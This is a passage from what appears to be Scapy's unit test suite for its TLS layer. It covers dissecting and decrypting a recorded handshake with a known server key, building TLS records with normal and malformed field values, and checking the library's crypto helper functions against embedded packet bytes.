I\xd7\xf0\xc5Z\xf6\xe0f7\x95\x91\xddNC\xe7$\xf5\xdaZ\xcdG\xd8\x14\xcaV\x98\xc4\xb2\x8cm\xe51@\x9b\x9c\xb8\xadul\xd0\xdf\xf2\xd7@Q\xe4\x05J\xf31[\xdf\xc8'(\x8f#\xf0\xc4\x1c\xc6\x07G\xb327\x85\xad\xa2\xa6\xa2E\x18\x85rP\xb8\x86uL\\7\x82\x18\xceh\xc6\xd1\xf4\xcc\xb9VN\x85\x7f9c\x92\t\x96\x8e\x80\x06\xe4\r\xbfu<\xabgP^z\xc7\xfd\x8e\x12t^\xb7\xc7Lr\xdc5\xf8\xa7\xdb\x9c\xbd\xd5\xad\xabP<\xe7\x9f%f\xb4\xd8\xf4\xf0~\x99\xbeZ\xe9\xbc\x0c9\r\xb2Uq\xfcd\xa4\xda\x89\x90\xd1\x15\x05\xcc\x00\xb1\xcd\xa9c\xb4\xe8\x7fRH\xbd\xe1\xd2\xd8\x9c\xb6\xd2\x8dq9\xe5\t\xeb\xfc\x1b\x06\xac\xab\x96\xa7\xfd{\xdf\xf2\x16\r\xd6'\xb8\xd3\xa5L\xc8\x08 \xb9\xccN\xe5\xf0\xa0S\xf3\xc3\xc9\xdf\xee\xd0\r\xd8[\x14\x03\x01\x00\x01\x01\x16\x03\x01\x000~\x01\xe1!2\x90\xba\xc8 \xb6\x8c\xb7\xd9\xf5\x80\x1d$Z^\xc8\xa3\x9f\xb3\xf1M\x0c\xd1\xedd\xb1'\x0f\xe4ER\xc9\xf7L\xf3;\xc1\xbaz\xfa\xb76\xe3q" fin = b"\x16\x03\x01\x00\xaa\x04\x00\x00\xa6\x00\x00\x1c \x00\xa0*\xf5.4:\xe4;t\xf0v\xed\xeaLX\xa5\xce*@\xe7\x83\rWx\xadWkM-\x95\xe7\x98\xcb6x\xeb\xca\xfe8\xf5\x84*\x9bAmZ/o9\xb03\xea\x1e\x99\xfdQ\xbfe\r\xe8W\xd5\xdb\xdd\x83\x90\x14\xc6\xef\x10s\x15\xff\xc2U\xce\xb0\x00\x11\x02|\xed\x99\xbac\xfb\x03M\xce\xd3\x92\xbe\x98\x95\x1c\xef\x9b\xb1\xd6,\x0c6Td\xc9j*\x17\xb9\xde\x13\x8f\xba[\xbcD\x1b\x9a~\xe9\xa2\xf3\xa4V3\xfe\xd6'\xc8i+\xb0m\xf8&\x86\x83\xaa\xe5\x1d\x06\x07lOx\x06 \x02\xbe\xfe\xda\x93-\x9fk\xeaHu\x8a\xec_\x14\x03\x01\x00\x01\x01\x16\x03\x01\x000Pc\xe0T+\x17\\>\xd0\xbc\xe6Xx}\xe5\xa26\xea\x0b\xad\x1bY\x1b\x05,\x7f\xeeQ\xd6\xea!\x9d.\xe0\xf3\x88\xe6'jV\xfdz]M'\xcejJ" data = b'\x17\x03\x01\x00 \xe8\x91\'mRT\x17\xa1\xd6}+\x80\x02\xda\xadw.\x82TA\'\xdep\xa4\xe1\xb1H\xa9\xb1\x81gw\x17\x03\x01\x00P\xddD\x18\xdb\x82pz\xb75>\x1c\xd7\xa9=\x18C\xbd\xf0F\xa1k\x0c\xe5&\xf2\xdf\x97\xf0\xab5\xf41W\x85 \xcf\xd9\x98\xa4\xe8\xcc\xff \x1c\xbc\xb3U\xc8\x9c>\xc4$\xa5U\xc6\xd4\x1f"\xce\xf0\x98\xf0D\xd2\x1d\r*\x99*\xdcd4?\xc9\x0b\xa6\xb2\x81%\xfc' t = TLS(ch) t = TLS(sh, tls_session=t.tls_session.mirror()) t.tls_session.server_rsa_key = key t = TLS(ck, tls_session=t.tls_session.mirror()) t = TLS(fin, tls_session=t.tls_session.mirror()) t = TLS(data, tls_session=t.tls_session.mirror()) assert len(t.msg) == 1 assert isinstance(t.msg[0], TLSApplicationData) assert t.msg[0].data == b"" t.getlayer(TLS, 2).msg[0].data == b"To boldly go where no man has gone before...\n" = Auto-provide the session: use TCPSession with conf.tls_session_enable conf.debug_dissector = 2 conf.tls_session_enable = True conf.tls_sessions.server_rsa_key = key client = "192.168.0.1" server = "1.2.3.4" bc = Ether()/IP(src=client, dst=server)/TCP(sport=51478, dport=443, seq=RandShort()) bs = Ether()/IP(src=server, dst=client)/TCP(sport=443, dport=51478, seq=RandShort()) pcap = [ bc/ch, bs/sh, bc/ck, bs/fin, bc/data ] res = sniff(offline=pcap, session=TCPSession) res[4].show() assert res[4].getlayer(TLS, 2).msg[0].data == b"To boldly go where no man has gone before...\n" conf.tls_session_enable = False ############################################################################### ############################## Building packets ############################### ############################################################################### + Build TLS packets = Building packets - Various default records from scapy.layers.tls.handshake import TLSCertificate from scapy.layers.tls.record import TLSAlert raw(TLS()) raw(TLSClientHello()) raw(TLSServerHello()) raw(TLSCertificate()) raw(TLSServerKeyExchange()) raw(TLSClientKeyExchange()) raw(TLSAlert()) raw(TLSChangeCipherSpec()) raw(TLSApplicationData()) == b"" = Building packets - ClientHello with automatic length computation from scapy.layers.tls.crypto.suites import (TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA) from scapy.layers.tls.extensions import (ServerName, TLS_Ext_SupportedEllipticCurves, ProtocolName) ch = TLSClientHello() ch.msgtype = 'client_hello' ch.version = 'TLS 1.2' ch.gmt_unix_time = 0x26ee2ddd ch.random_bytes = b'X\xe1\xb1T\xaa\xb1\x0b\xa0zlg\xf8\xd14]%\xa9\x91d\x08\xc7t\xcd6\xd4"\x9f\xcf' ch.ciphers = [TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] ch.comp = 'null' ext1 = TLS_Ext_ServerName(servernames=ServerName(servername='mn.scapy.wtv')) ext2 = TLS_Ext_RenegotiationInfo() ext3 = TLS_Ext_SupportedEllipticCurves(groups=['secp256r1', 'secp384r1', 'secp521r1']) ext4 = TLS_Ext_SupportedPointFormat(ecpl='uncompressed') ext5 = TLS_Ext_SessionTicket() ext6 = TLS_Ext_NPN() ext7 = TLS_Ext_ALPN(protocols=[ProtocolName(protocol='h2-16'), ProtocolName(protocol='h2-15'), ProtocolName(protocol='h2-14'), ProtocolName(protocol='h2'), ProtocolName(protocol='spdy/3.1'), ProtocolName(protocol='http/1.1')]) ext8 = TLS_Ext_CSR(stype='ocsp', req=OCSPStatusRequest()) ext9 = TLS_Ext_SignatureAlgorithms(sig_algs=['sha256+rsa', 'sha384+rsa', 'sha512+rsa', 'sha1+rsa', 'sha256+ecdsa', 'sha384+ecdsa', 'sha512+ecdsa', 'sha1+ecdsa', 'sha256+dsa', 'sha1+dsa']) ch.ext = [ext1, ext2, ext3, ext4, ext5, ext6, ext7, ext8, ext9] t = TLS(type='handshake', version='TLS 1.0', msg=ch) raw(t) == b'\x16\x03\x01\x00\xc7\x01\x00\x00\xc3\x03\x03&\xee-\xddX\xe1\xb1T\xaa\xb1\x0b\xa0zlg\xf8\xd14]%\xa9\x91d\x08\xc7t\xcd6\xd4"\x9f\xcf\x00\x00\x16\xc0+\xc0/\xc0\n\xc0\t\xc0\x13\xc0\x14\x003\x009\x00/\x005\x00\n\x01\x00\x00\x84\x00\x00\x00\x11\x00\x0f\x00\x00\x0cmn.scapy.wtv\xff\x01\x00\x01\x00\x00\n\x00\x08\x00\x06\x00\x17\x00\x18\x00\x19\x00\x0b\x00\x02\x01\x00\x00#\x00\x003t\x00\x00\x00\x10\x00)\x00\'\x05h2-16\x05h2-15\x05h2-14\x02h2\x08spdy/3.1\x08http/1.1\x00\x05\x00\x05\x01\x00\x00\x00\x00\x00\r\x00\x16\x00\x14\x04\x01\x05\x01\x06\x01\x02\x01\x04\x03\x05\x03\x06\x03\x02\x03\x04\x02\x02\x02' = Building packets - application data with Encrypt-then-MAC session = tlsSession( rcs=connState(ciphersuite=TLS_RSA_WITH_AES_256_CBC_SHA256), wcs=connState(ciphersuite=TLS_RSA_WITH_AES_256_CBC_SHA256), ) session.encrypt_then_mac = True session.tls_version = 0x0303 session.rcs.cipher.key = b'A' * 32 session.wcs.cipher.key = b'A' * 32 payload = b'PAYLOAD' tlsdata = TLS(msg=TLSApplicationData(data=payload), tls_session=session) t = TLS(raw(tlsdata), tls_session=session.mirror()) assert t[0].msg[0].data == payload = Building packets - ServerHello context linking from scapy.layers.tls.crypto.kx_algs import KX_ECDHE_RSA from scapy.layers.tls.crypto.cipher_block import Cipher_AES_256_CBC sh = TLSServerHello(gmt_unix_time=0x41414141, random_bytes='B'*28, cipher=0xc014) t = TLS(msg=sh) t.raw_stateful() assert isinstance(t.tls_session.pwcs.ciphersuite, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA) assert isinstance(t.tls_session.pwcs.key_exchange, KX_ECDHE_RSA) assert isinstance(t.tls_session.pwcs.cipher, Cipher_AES_256_CBC) assert isinstance(t.tls_session.pwcs.hmac, Hmac_SHA) t.tls_session.server_random == b'A'*4+b'B'*28 = Building packets - ChangeCipherSpec with forged, forbidden field values t = TLS(msg=TLSChangeCipherSpec()) assert raw(t) == b'\x14\x03\x03\x00\x01\x01' t.len = 0 assert raw(t) == b'\x14\x03\x03\x00\x00\x01' t.type = 0xde t.version = 0xadbe t.len = 0xefff raw(t) == b'\xde\xad\xbe\xef\xff\x01' = Building packets - TLS record with bad data a = TLS(b'\x17\x03\x03\x00\x03data') assert a[Raw] = Building packets - _CipherSuitesField with no cipher from scapy.layers.tls.handshake import _CipherSuitesField a = _CipherSuitesField("test", None, {}) assert a.i2repr(None, None) == "None" assert isinstance(a.randval(), RandBin) = Building packets - TLSClientKeyExchange with bad data a = TLSClientKeyExchange(raw(TLSClientKeyExchange(exchkeys="baddata"))) assert a.haslayer(Raw) = Building packets - Perform dummy session update from scapy.layers.tls.handshake import TLSHelloRequest assert not TLSHelloRequest().tls_session_update(None) = Cryptography module is unavailable ~ mock from unittest import mock @mock.patch("scapy.layers.tls.crypto.suites.get_algs_from_ciphersuite_name") def test_tls_without_cryptography(get_algs_from_ciphersuite_name_mock): get_algs_from_ciphersuite_name_mock.return_value = (scapy.layers.tls.crypto.kx_algs.KX_ECDHE_RSA, None, None, scapy.layers.tls.crypto.hash.Hash_SHA256, False) sh = IP()/TCP()/TLS(msg=TLSServerHello(cipher=0xc02f)) assert raw(sh) sh2 = Ether(b"\xaa\xaa\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xbb\xbb\x86\xdd`\x04Z\xd8\x02\x19\x06@\xcfm\xack|z\xae\xac\x9d\x8d'\xba\xa2Cs\xcc\x07\x8f\x91\xbdk\x0e\x1e\xdb\xf6\xbe\xc3\xa1\xfc\xa5\x15\xca\xd6#\x01\xbb\xeeC\xc0H\xea\xa2\x9a,P\x18\x00\xffu\xf0\x00\x00\x16\x03\x01\x02\x00\x01\x00\x01\xfc\x03\x03W`\xb4|\n5E\x11\xe8\xb5\xa3\x9c\xea\xa6I\x99N\xcd\xe9j\x8d\xfe\xa8%\x8b\xceC\xf8w\x94gV \x13\x0b\xdf}\xad\xbf\xbe67\xba\xcf\x9c\xfa\x92\xc2\xeeS\xf6DL\x19\xb3\xe4`H\x84\xcb]h\xb4\xbb\xba\x00\x1cZZ\xc0+\xc0/\xc0,\xc00\xcc\xa9\xcc\xa8\xc0\x13\xc0\x14\x00\x9c\x00\x9d\x00/\x005\x00\n\x01\x00\x01\x97\xba\xba\x00\x00\xff\x01\x00\x01\x00\x00\x00\x00\x11\x00\x0f\x00\x00\x0cfacebook.com\x00\x17\x00\x00\x00#\x00\xc0\x8a`K^\x7fF\x05K\x95\x85\x1c\xec\x9f\xff\x9b\x85T\x85=<\xbc\xfb\xe4n4\xe9W+\xfanM\xa7\x8c.\x95\x9e\xf0\xfb\x93\x91\xa9\x87\x12o\xc8\x99\xe8\x94_\xca\xceH(\xcai\xdf\xe8\xcf7\x05v\xd4\x9e\x85\x86\x19\xe4\xb6\xf9K\n\xb2\xfd\xa1\xa3r\x9f\xec\x05\xd4\xbc\x1bU\x9a\x89\x1d)\xc5\x85(?@x\r\x12Ep\xb7\xf8\x0c\xe7\x17Y<\xbd-\xd7\x9a\x9f^\xb1k\x0b\xcb\xfd\xf4\xb1z\x06\xe9Mna\x9a\xc8\xc8\xdd\x95\xa1`N\xbd/\x9d\xd6\xd9\x93\xf4$\xefq\x80R\xc3|\x9f\xe1'\x19\xf2I\xf8\xdbV\x0b/\xaex8q\xb2ZGU\xf7^\xa9\x80\xf9\r\xbfo\xee\t\x01(\x93\x12g\x1frXUa\xdc\x8d*F\xb8\xc6\xe2\xb6\x00\r\x00\x14\x00\x12\x04\x03\x08\x04\x04\x01\x05\x03\x08\x05\x05\x01\x08\x06\x06\x01\x02\x01\x00\x05\x00\x05\x01\x00\x00\x00\x00\x00\x12\x00\x00\x00\x10\x00\x0e\x00\x0c\x02h2\x08http/1.1uP\x00\x00\x00\x0b\x00\x02\x01\x00\x00\n\x00\n\x00\x08jj\x00\x1d\x00\x17\x00\x18zz\x00\x01\x00\x00\x15\x00Y\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") assert TLS in sh2 assert isinstance(sh2.msg[0], TLSClientHello) test_tls_without_cryptography() = Truncated TCP segment with no_debug_dissector(): pkt = Ether(bytes.fromhex('00155dfb587a00155dfb58430800450005dc54d3400070065564400410d40a00000d01bb044e8b86744e16063ac45010faf06ba9000016030317c30200005503035cb336a067d53a5d2cedbdfec666ac740afbd0637ddd13eddeab768c3c63abee20981a0000d245f1c905b329323ad67127cd4b907a49f775c331d0794149aca7cdc02800000d0005000000170000ff010001000b000ec6000ec300090530820901308206e9a00302010202132000036e72aded906765595fae000000036e72300d06092a864886f70d01010b050030818b310b30090603550406130255533113')) assert conf.padding_layer in pkt ############################################################################### ########################### TLS Misc tests #################################### ############################################################################### = Test tlsSession from scapy.layers.tls.session import tlsSession s = tlsSession(ipsrc="216.58.201.227", ipdst="127.0.0.1", sport=443, dport=443, sid=1) assert s.__repr__() == "216.58.201.227:443 > 127.0.0.1:443" assert s == s assert hash(s) == hash(s) assert not s.consider_write_padding() = Test connState assert s.wcs.__repr__() == 'Connection end : SERVER\nCipher suite : TLS_NULL_WITH_NULL_NULL (0x0000)\nCompression : null (0x00)\n' = Test tls.tools def test_tls_tools(): from scapy.layers.tls.crypto.compression import Comp_Deflate from scapy.layers.tls.crypto.common import CipherError from scapy.layers.tls.crypto.cipher_stream import Cipher_RC4_40 from scapy.layers.tls.crypto.cipher_aead import (Cipher_AES_128_GCM, Cipher_AES_128_GCM_TLS13) from scapy.layers.tls.crypto.hash import Hash_SHA256 from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip from scapy.layers.tls.tools import TLSPlaintext, TLSCompressed, TLSCiphertext from scapy.layers.tls.tools import _tls_compress, _tls_decompress from scapy.layers.tls.tools import _tls_mac_add, _tls_mac_verify from scapy.layers.tls.tools import _tls_add_pad, _tls_del_pad from scapy.layers.tls.tools import _tls_encrypt, _tls_decrypt from scapy.layers.tls.tools import _tls_aead_auth_encrypt, _tls_aead_auth_decrypt plain = TLSPlaintext() plain.type = 'application_data' plain.version = 'TLS 1.2' plain.data = b'X\xe1\xb1T\xaa\xb1\x0b\xa0zlg\xf8\xd14]%\xa9\x91d\x08\xc7t\xcd6\xd4"\x9f\xcf' plain.len = len(plain.data) # Compress/decompress test alg = Comp_Deflate() comp = _tls_compress(alg, plain) assert isinstance(comp, TLSCompressed) assert comp != plain dcomp = _tls_decompress(alg, comp) assert isinstance(dcomp, TLSPlaintext) assert dcomp == plain # Encrypt/decrypt test ch = Cipher_RC4_40(_rc4_40_test.k) encr = _tls_encrypt(ch, plain) assert isinstance(encr, TLSCiphertext) assert encr != plain decr = _tls_decrypt(ch, encr) assert isinstance(decr, TLSPlaintext) assert decr == plain encr = _tls_encrypt(ch, comp) assert isinstance(encr, TLSCiphertext) assert encr != comp decr = _tls_decrypt(ch, encr) assert isinstance(decr, TLSPlaintext) assert (decr.version == comp.version and decr.type == comp.type and decr.len == comp.len and decr.data == comp.data) # MAC add/verify test mac = Hash_SHA256() save_encr = encr.copy() assert save_encr is not encr _tls_mac_add(mac, encr, 1) assert isinstance(encr, TLSCiphertext) had_mac = _tls_mac_verify(mac, encr, 1) assert had_mac assert encr == save_encr # Pad add/delete test save_comp = comp.copy() assert save_comp is not comp block_size = 8 _tls_add_pad(comp, block_size) assert isinstance(comp, TLSCompressed) assert comp.len == save_comp.len + -save_comp.len % block_size + 1 had_pad = _tls_del_pad(comp) assert had_pad assert comp == save_comp block_size = save_comp.len // 2 _tls_add_pad(comp, block_size) assert isinstance(comp, TLSCompressed) assert comp.len == save_comp.len + -save_comp.len % block_size + 1 had_pad = _tls_del_pad(comp) assert had_pad assert comp == save_comp # AEAD auth encrypt/decrypt test ch_auth = Cipher_AES_128_GCM(key=_aes128gcm_test_1.k, fixed_iv=_aes128gcm_test_1.n[:4], nonce_explicit=pkcs_os2ip(_aes128gcm_test_1.n[4:])) auth_encr = _tls_aead_auth_encrypt(ch_auth, comp, 1) assert isinstance(auth_encr, TLSCiphertext) assert auth_encr != comp # auth_decr = _tls_aead_auth_decrypt(ch_auth, auth_encr, 1) # assert isinstance(auth_decr, TLSCompressed) # assert auth_decr == comp ch_auth = Cipher_AES_128_GCM_TLS13(key=_aes128gcm_test_1.k, fixed_iv=_aes128gcm_test_1.n) auth_encr = _tls_aead_auth_encrypt(ch_auth, comp, 1) assert isinstance(auth_encr, TLSCiphertext) assert auth_encr != comp # auth_decr = _tls_aead_auth_decrypt(ch_auth, auth_encr, 1) # assert isinstance(auth_decr, TLSCompressed) # assert auth_decr == comp test_tls_tools() = Dissect TLSCertificateVerify from scapy.layers.tls.handshake import TLSCertificateVerify t = TLS(b'\x16\x03\x03\x00P\x0f\x00\x00L\x04\x03\x00H0F\x02!\x00\xcf\xf1\xd0:1\xb8\xe4JCU\x00\x8c\xcdg\xf9=g\x84\xa3h;V@\xfd\xd1\\\xf0\xc4f\xfa\x18\xdc\x02!\x00\x82\x1dF\xc1\xd1\xab\x86\xaa\xb9"\x0eA\xf2\xc3Rj\xd7\xf1\xe9\xaf\x9b\xa5?R\n\xca\x15\xfe)\xa9j\x84') assert TLSCertificateVerify in t assert t[TLSCertificateVerify].sig.sig_len == 72 = Test complex TLSServerKeyExchange dissection & build a = b'\x16\x03\x03\x0e4\x02\x00\x00M\x03\x03^\xfa\xb5~\x88\xdf\xdc#}\'\xa0\xff\xa2\xe2\xb5\xec\x0e\x93\xa8\xe0\xde\x01[\x13[F\x151 x\xc6\xcc `)\x00\x00\x8aZ\x90l\xda\x0b\xe1\xec[i\x13\xa7\x8e\xb9a\x98"\x8a7L\x9d\x90\xe0\x01\x06c$9\xc0\'\x00\x00\x05\xff\x01\x00\x01\x00\x0b\x00\x0c\x8e\x00\x0c\x8b\x00\x06n0\x82\x06j0\x82\x05R\xa0\x03\x02\x01\x02\x02\x10EY\xe8\x1c\x1e\x9a\xe0?X\xaa\xc3\xbc\xcd`jh0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000\x81\x8f1\x0b0\t\x06\x03U\x04\x06\x13\x02GB1\x1b0\x19\x06\x03U\x04\x08\x13\x12Greater Manchester1\x100\x0e\x06\x03U\x04\x07\x13\x07Salford1\x180\x16\x06\x03U\x04\n\x13\x0fSectigo Limited1705\x06\x03U\x04\x03\x13.Sectigo RSA Domain Validation Secure Server CA0\x1e\x17\r190309000000Z\x17\r210308235959Z0W1!0\x1f\x06\x03U\x04\x0b\x13\x18Domain Control Validated1\x1d0\x1b\x06\x03U\x04\x0b\x13\x14PositiveSSL Wildcard1\x130\x11\x06\x03U\x04\x03\x0c\n*.mql5.net0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcb\xbcn=\xbaGd\xe1XB\x07\xc9\xb1\xc8/\x86\xaa4Z\xbdNk\xfb\xffR\x8f\xe4\x1c^\x91m8\xb9^\x97\xa5\xd3N\xfb\x80\x92\x8ap\xda\x15\x9f\xee\xe7\xb3\xc8?\xb0>~\xaa\x07\x91\xb1\x99q\xe2\xe5\xc8\x9b\x1d5\xa0\x96,\x98\xdaW\x93\x95\x8e%\xe8\xd4L\xeb\xcbSg\x15"\xba\xb7\xc7\x1f\xe9\xd6\x1a\xe6E\x1d\xc8\x1e%\xd36\xe0/r\xd1\xce1C\xce\x91&\xa1\x08*R\xbf\x8cu\xb0\xda\x0e\x1e2\xd66\x1df&3\x9b\x03\x0b\xcam:\xf7\x12\xd9ud(\xae\xdc\xbci\x85\xbd\xcf\xeb{\x15:\xbd\x0e\x11\x1bi\xd8\xff]y~E\x15\x95\xee\xe9\xea\xc6Cr!=~y0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x17\x7f\x18\x82[\t\x18@R@\xa6\xb7\xc5[\xf1su\xc7\x8cG?\xf7\x91\xe2E]\x1b\x7f\xc3su\x88\xb6\x17t\xc3\x8b\xb1g\xd2\x06\xfc\x82\x84\x8d\xbb\x13\xc1\x8c\xf71\xc0>(?\xa3\xf0P\x14Z\x8a\x97\x9c\xa3\xb1!ddy\xa3 .\xdb\xd3\xfb\xa6\x0b\xf7k\xdbP\xb48\xeb\xc7\x90\x00\xa9\x90\xa4\x9d\xbf\x9c\xa7\n\x8e\x90\xfe\x8f\xa3\x95Th\xe6,\xdd\xde\xde\x06\x0b\x8e+\xf5\xca\x85>n\xbf\xd87\xff\xe3\xd2|*\xc0\x89\x07\x95\xbeV\x90:lG[\xf0\xadUF\xa1\x88nmj\xbb\xa9\x16\x90\xdd\x84\xe4\xbf\xe7\xe8\xe3"\xd4+0\xa0d\xdc.\x8e\x85+\xbd\x99\xd8\x02\xa7K}\xb1\xc4\xed;\xe2\xaf\x81R\xceJ\xb9iZ\xec\xda\x8f`\x8eI\xf6]\x83-\x9e\xa7{]\x02\x9d\x1fh\xf4\xef\x14\xf4\xb3\x0e\r\xe6\x9b\x9d\x96\xb4\x90iWA\xe0\xf4\x1d_\xbeRD\x15a;?\t\x8c\x8f6\xea!\xf2\xd6/Yg\x82e/5\xe1\xb4\xa1\x94\xef\xd7\x94\x82\x04\x00\x06\x170\x82\x06\x130\x82\x03\xfb\xa0\x03\x02\x01\x02\x02\x10}[Q&\xb4v\xba\x11\xdbt\x16\x0b\xbcS\r\xa70\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0c\x05\x000\x81\x881\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x130\x11\x06\x03U\x04\x08\x13\nNew Jersey1\x140\x12\x06\x03U\x04\x07\x13\x0bJersey City1\x1e0\x1c\x06\x03U\x04\n\x13\x15The USERTRUST Network1.0,\x06\x03U\x04\x03\x13%USERTrust RSA Certification Authority0\x1e\x17\r181102000000Z\x17\r301231235959Z0\x81\x8f1\x0b0\t\x06\x03U\x04\x06\x13\x02GB1\x1b0\x19\x06\x03U\x04\x08\x13\x12Greater Manchester1\x100\x0e\x06\x03U\x04\x07\x13\x07Salford1\x180\x16\x06\x03U\x04\n\x13\x0fSectigo Limited1705\x06\x03U\x04\x03\x13.Sectigo RSA Domain Validation Secure Server CA0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xd6s3\xd6\xd7< \xd0\x00\xd2\x17E\xb8\xd6>\x07\xa2?\xc7A\xee20\xc9\xb0l\xfd\xf4\x9f\xcb\x12\x98\x0f-?\x8dM\x01\x0c\x82\x0f\x17\x7fb.\xe9\xb8Hy\xfb\x16\x83N\xad\xd72%\x93\xb7\x07\xbf\xb9P?\xa9L\xc3@*\xe99\xff\xd9\x81\xca\x1f\x162A\xda\x80&\xb9#z\x87 \x1e\xe3\xff \x9a<\x95Do\x87u\x06\x90@\xb42\x93\x16\t\x10\x08#>\xd2\xdd\x87\x0fo]Q\x14j\ni\xc5O\x01ri\xcf\xd3\x93Lm\x04\xa0\xa3\x1b\x82~\xb1\x9a\xb9\xed\xc5\x9e\xc57x\x9f\x9a\x084\xfbV.X\xc4\t\x0e\x06d[\xbc7\xdc\xf1\x9f(h\xa8V\xb0\x92\xa3\\\x9f\xbb\x88\x98\x08\x1b$\x1d\xab0\x85\xae\xaf\xb0.\x9ez\x9d\xc1\xc0B\x1c\xe2\x02\xf0\xea\xe0J\xd2\xef\x90\x0e\xb4\xc1@\x16\xf0o\x85BJd\xf7\xa40\xa0\xfe\xbf.\xa3\'Z\x8e\x8bX\xb8\xad\xc3\x19\x17\x84c\xedoV\xfd\x83\xcb`4\xc4t\xbe\xe6\x9d\xdb\xe1\xe4\xe5\xca\x0c_\x15\x02\x03\x01\x00\x01\xa3\x82\x01n0\x82\x01j0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14Sy\xbfZ\xaa+J\xcfT\x80\xe1\xd8\x9b\xc0\x9d\xf2\xb2\x03f\xcb0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\x8d\x8c^\xc4T\xad\x8a\xe1w\xe9\x9b\xf9\x9b\x05\xe1\xb8\x01\x8da\xe10\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x01\x860\x12\x06\x03U\x1d\x13\x01\x01\xff\x04\x080\x06\x01\x01\xff\x02\x01\x000\x1d\x06\x03U\x1d%\x04\x160\x14\x06\x08+\x06\x01\x05\x05\x07\x03\x01\x06\x08+\x06\x01\x05\x05\x07\x03\x020\x1b\x06\x03U\x1d \x04\x140\x120\x06\x06\x04U\x1d \x000\x08\x06\x06g\x81\x0c\x01\x02\x010P\x06\x03U\x1d\x1f\x04I0G0E\xa0C\xa0A\x86?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v\x06\x08+\x06\x01\x05\x05\x07\x01\x01\x04j0h0?\x06\x08+\x06\x01\x05\x05\x070\x02\x863http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%\x06\x08+\x06\x01\x05\x05\x070\x01\x86\x19http://ocsp.usertrust.com0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0c\x05\x00\x03\x82\x02\x01\x002\xbfa\xbd\x0eH\xc3O\xc7\xbaGM\xf8\x9cx\x19\x01\xdc\x13\x1d\x80o\xfc\xc3p\xb4R\x9a13\x9aWR\xfb1\x9ek\xa4\xefT\xaa\x89\x8d@\x17h\xf8\x11\x10|\xd2\xca\xb1\xf1U\x86\xc7\xee\xb36\x91\x86\xf69Q\xbfF\xbf\x0f\xa0\xba\xb4\xf7~I\xc4*6\x17\x9e\xe4h9z\xaf\x94NVo\xb2{;\xbf\n\x86\xbd\xcd\xc5w\x1c\x03\xb88\xb1\xa2\x1f_~\xdb\x8a\xdcFH\xb6h\n\xcf\xb2\xb5\xb4\xe24\xe4g\xa98f\t^\xd2\xb8\xfc\x9d(:\x17@\'\xc2rN)\xfd!<|\xcf\x13\xfb\x96,\xc51D\xfd\x13\xed\xd5\x9b\xa9ihw|\xee\xe1\xff\xa4\xf968\x08S9\xa2\x844\x9c\x19\xf3\xbe\x0e\xac\xd5$7\xeb#\xa8x\xd0\xd3\xe7\xef\x92Gdb9"\xef\xc6\xf7\x11\xbe"\x85\xc6fD$&\x8e\x102\x8d\xc8\x93\xae\x07\x9e\x83>/\xd9\xf9\xf5F\x8ec\xbe\xc1\xe6\xb4\xdc\xa6\xcd!\xa8\x86\n\x95\xd9.\x85&\x1a\xfd\xfc\xb1\xb6WBm\x95\xd13\xf69\x14\x06\x82A8\xf5\x8fX\xdc\x80[\xa4\xd5}\x95x\xfd\xa7\x9b\xff\xfd\xc5\xa8i\xab&\xe7\xa7\xa4\x05\x87[\xa9\xb7\xb8\xa3 